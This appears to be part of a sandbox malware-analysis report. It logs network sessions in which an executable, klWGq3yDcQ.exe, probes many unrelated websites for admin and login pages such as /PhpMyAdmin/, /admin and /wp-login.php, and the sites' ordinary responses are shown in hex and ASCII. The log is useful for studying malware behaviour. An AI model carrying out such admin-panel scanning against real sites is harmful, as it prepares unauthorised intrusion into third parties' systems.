2023-11-26 05:59:44 UTC	264	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: tradeavenida.com Accept: / Accept-Encoding: deflate, gzip Cookie: _cfuvid=GmdO4O16OvcSRs1S5vpImz7iIXsw5EPzJkhrzhXEoHc-1700978384404-0-604800000 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	505	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https:/
2023-11-26 05:59:45 UTC	864	IN	Data Raw: 37 64 61 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 27 20 63 6f 6e 74 65 6e 74 3d 27 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 27 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6c 69 6e 6b 20 Data Ascii: 7da3<!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8">...[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]--><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"><link
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 75 63 68 2d 69 63 6f 6e 5f 37 36 78 37 36 2e 70 6e 67 22 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 35 32 78 31 35 32 22 20 68 72 65 66 3d 22 2f 2f 74 72 61 64 65 61 76 65 6e 69 64 61 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 70 6f 72 74 6f 2f 69 6d 61 67 65 73 2f 6c 6f 67 6f 2f 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 5f 31 35 32 78 31 35 32 2e 70 6e 67 22 3e 0a 09 09 09 09 09 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 2e 63 6c 61 73 73 4e 61 6d 65 20 2b 20 27 20 79 65 73 2d 6a 73 Data Ascii: uch-icon_76x76.png"><link rel="apple-touch-icon" sizes="152x152" href="//tradeavenida.com/wp-content/themes/porto/images/logo/apple-touch-icon_152x152.png"><script>document.documentElement.className = document.documentElement.className + ' yes-js
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 66 69 6c 6c 54 65 78 74 28 6e 2c 30 2c 30 29 2c 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 72 5b 74 5d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 2c 6e 29 7b 73 77 69 74 63 68 28 74 29 7b 63 61 73 65 22 66 6c 61 67 22 3a 72 65 74 75 72 6e 20 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 32 36 61 37 5c 75 66 65 30 66 22 2c 22 5c 75 64 38 33 63 5c 75 64 66 66 33 5c 75 66 65 30 66 5c 75 32 30 30 62 5c 75 32 36 Data Ascii: fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 74 69 6d 65 73 74 61 6d 70 26 26 28 6e 65 77 20 44 61 74 65 29 2e 76 61 6c 75 65 4f 66 28 29 3c 65 2e 74 69 6d 65 73 74 61 6d 70 2b 36 30 34 38 30 30 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 29 72 65 74 75 72 6e 20 65 2e 73 75 70 70 6f 72 74 54 65 73 74 73 7d 63 61 74 63 68 28 65 29 7b 7d 72 65 74 75 72 6e 20 6e 75 6c 6c 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 Data Ascii: Item(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 2e 6a 71 75 65 72 79 2e 63 73 73 3f 76 65 72 3d 32 2e 32 31 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 73 74 79 6c 65 20 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 6d 61 72 67 69 6e 3a 20 Data Ascii: .jquery.css?ver=2.21' media='all' /><style id='wp-emoji-styles-inline-css'>img.wp-smiley, img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin:
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 62 6f 74 74 6f 6d 3a 34 70 78 20 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 34 70 78 20 73 6f 6c 69 64 3b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 2e 37 35 65 6d 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 63 69 74 65 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 20 66 6f 6f 74 65 72 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 70 75 6c 6c 71 75 6f 74 65 5f 5f 63 69 74 61 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 31 32 35 65 6d 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 74 65 78 74 2d 74 72 61 6e 73 66 6f 72 6d 3a 75 70 70 65 72 63 61 73 65 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 71 75 6f 74 65 Data Ascii: bottom:4px solid;border-top:4px solid;color:currentColor;margin-bottom:1.75em}.wp-block-pullquote cite,.wp-block-pullquote footer,.wp-block-pullquote__citation{color:currentColor;font-size:.8125em;font-style:normal;text-transform:uppercase}.wp-block-quote
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 64 2c 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 74 68 7b 77 6f 72 64 2d 62 72 65 61 6b 3a 6e 6f 72 6d 61 6c 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 7d 2e 69 73 2d 64 61 72 6b 2d 74 68 65 6d 65 20 2e 77 70 2d 62 6c 6f 63 6b 2d 74 61 62 6c 65 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 36 35 29 7d 2e 77 70 2d 62 6c 6f 63 6b 2d 76 69 64 65 6f 20 66 69 67 63 61 70 74 69 6f 6e 7b 63 6f 6c 6f 72 3a 23 35 35 35 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 Data Ascii: lock-table td,.wp-block-table th{word-break:normal}.wp-block-table figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-table figcaption{color:hsla(0,0%,100%,.65)}.wp-block-video figcaption{color:#555;font-size:13px;text-align:c
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 20 23 46 46 46 46 46 46 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 3a 20 23 41 37 31 34 34 43 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 72 3a 20 31 36 37 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 67 3a 20 32 30 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 66 69 6c 74 65 72 73 5f 63 6f 6c 6f 72 73 5f 61 63 63 65 6e 74 5f 62 3a 20 37 36 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 68 65 73 5f 62 6f 72 64 65 72 5f 72 61 64 69 75 73 3a 20 31 30 30 25 3b 0a 09 2d 2d 79 69 74 68 2d 77 63 61 6e 2d 63 6f 6c 6f 72 5f 73 77 61 74 63 Data Ascii: #FFFFFF;--yith-wcan-filters_colors_accent: #A7144C;--yith-wcan-filters_colors_accent_r: 167;--yith-wcan-filters_colors_accent_g: 20;--yith-wcan-filters_colors_accent_b: 76;--yith-wcan-color_swatches_border_radius: 100%;--yith-wcan-color_swatc
2023-11-26 05:59:45 UTC	1369	IN	Data Raw: 65 20 61 2e 66 61 63 65 62 6f 6f 6b 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 66 61 63 65 62 6f 6f 6b 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 39 35 39 39 45 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 33 39 35 39 39 45 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 34 35 41 46 45 32 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 34 35 41 46 45 32 3b 7d 2e 79 69 74 68 2d 77 63 77 6c 2d 73 68 61 72 65 20 61 2e 74 77 69 74 74 65 72 3a 68 6f 76 65 72 7b 62 61 63 6b Data Ascii: e a.facebook{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.facebook:hover{background: #39599E; background-color: #39599E;}.yith-wcwl-share a.twitter{background: #45AFE2; background-color: #45AFE2;}.yith-wcwl-share a.twitter:hover{back

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
450	192.168.2.4	51106	202.226.37.158	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	178	OUT	GET /PhpMyAdmin/ HTTP/1.1 Host: daisyokogyo.co.jp Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	165	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 2f 0d 0a 0d 0a Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Content-Length: 0Connection: closeLocation: /

Session ID	Source IP	Source Port	Destination IP	Destination Port
451	192.168.2.4	51380	34.240.130.5	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	175	OUT	GET /admin HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:45 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:45 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:45 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 31 66 66 32 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 Data Ascii: vaux vendre</a></li></ul></li><li1ff2 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc
2023-11-26 05:59:45 UTC	7302	IN	Data Raw: 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 31 63 35 32 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 Data Ascii: s de contr\u00f4le Jimdo\n\nLes cooki1c52es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
452	192.168.2.4	51345	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	244	OUT	GET /wp-login.php?redirect_to=https%3A%2F%2Fhimontessori.com%2Fwp-admin%2F&reauth=1 HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	162	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 39 20 43 6f 6e 66 6c 69 63 74 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 34 35 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 38 33 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a Data Ascii: HTTP/1.1 409 ConflictDate: Sun, 26 Nov 2023 05:59:45 GMTServer: ApacheContent-Length: 83Connection: closeContent-Type: text/html; charset=iso-8859-1
2023-11-26 05:59:45 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
453	192.168.2.4	51620	34.149.87.45	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:44 UTC	175	OUT	GET /admin HTTP/1.1 Host: www.linkan-group.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:45 UTC	654	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 32 38 36 35 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 61 6e 67 75 61 67 65 3a 20 65 6e 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 36 30 30 0d 0a 58 2d 57 69 78 2d 52 65 71 75 65 73 74 2d 49 64 3a 20 31 37 30 30 39 37 38 33 38 34 2e 31 34 36 31 30 33 37 32 39 33 33 30 31 36 33 33 30 39 32 30 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 75 62 6c 69 63 2c 6d 61 78 2d 61 67 65 3d 30 2c 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 53 65 72 76 65 72 Data Ascii: HTTP/1.1 404 Not FoundContent-Length: 2865Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1700978384.14610372933016330920Cache-Control: public,max-age=0,must-revalidateServer
2023-11-26 05:59:45 UTC	598	IN	Data Raw: 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 0a 20 20 20 20 2d 2d 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 77 69 78 45 72 72 6f 72 50 61 67 65 73 41 70 70 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e Data Ascii: ... --><!doctype html>... --><html ng-app="wixErrorPagesApp"><head> <meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" conten
2023-11-26 05:59:45 UTC	1252	IN	Data Raw: 22 20 2f 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 2f 73 74 61 74 69 63 2e 70 61 72 61 73 74 6f 72 61 67 65 2e 63 6f 6d 2f 73 65 72 76 69 63 65 73 2f 77 69 78 2d 70 75 62 6c 69 63 2f 31 2e 37 31 39 2e 30 2f 73 74 79 6c 65 73 2f 65 72 72 6f 72 2d 70 61 67 65 73 2f 73 74 79 6c 65 73 2e 63 73 73 22 3e 0a 20 20 3c 21 2d 2d 20 20 2d 2d 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 6c 61 6e 67 3d 22 65 6e 22 20 6e 67 2d 63 6f 6e 74 72 6f 6c 6c 65 72 3d 22 45 72 72 6f 72 50 61 67 65 43 6f 6e 74 72 6f 6c 6c 65 72 20 61 73 20 65 72 72 6f 72 50 61 67 65 43 74 72 6c 22 20 63 6c 61 73 73 3d 22 65 72 72 6f 72 2d 70 61 67 65 2d 61 70 70 22 20 6e 67 2d 63 6c 61 73 73 3d 22 Data Ascii: " /> ... --> 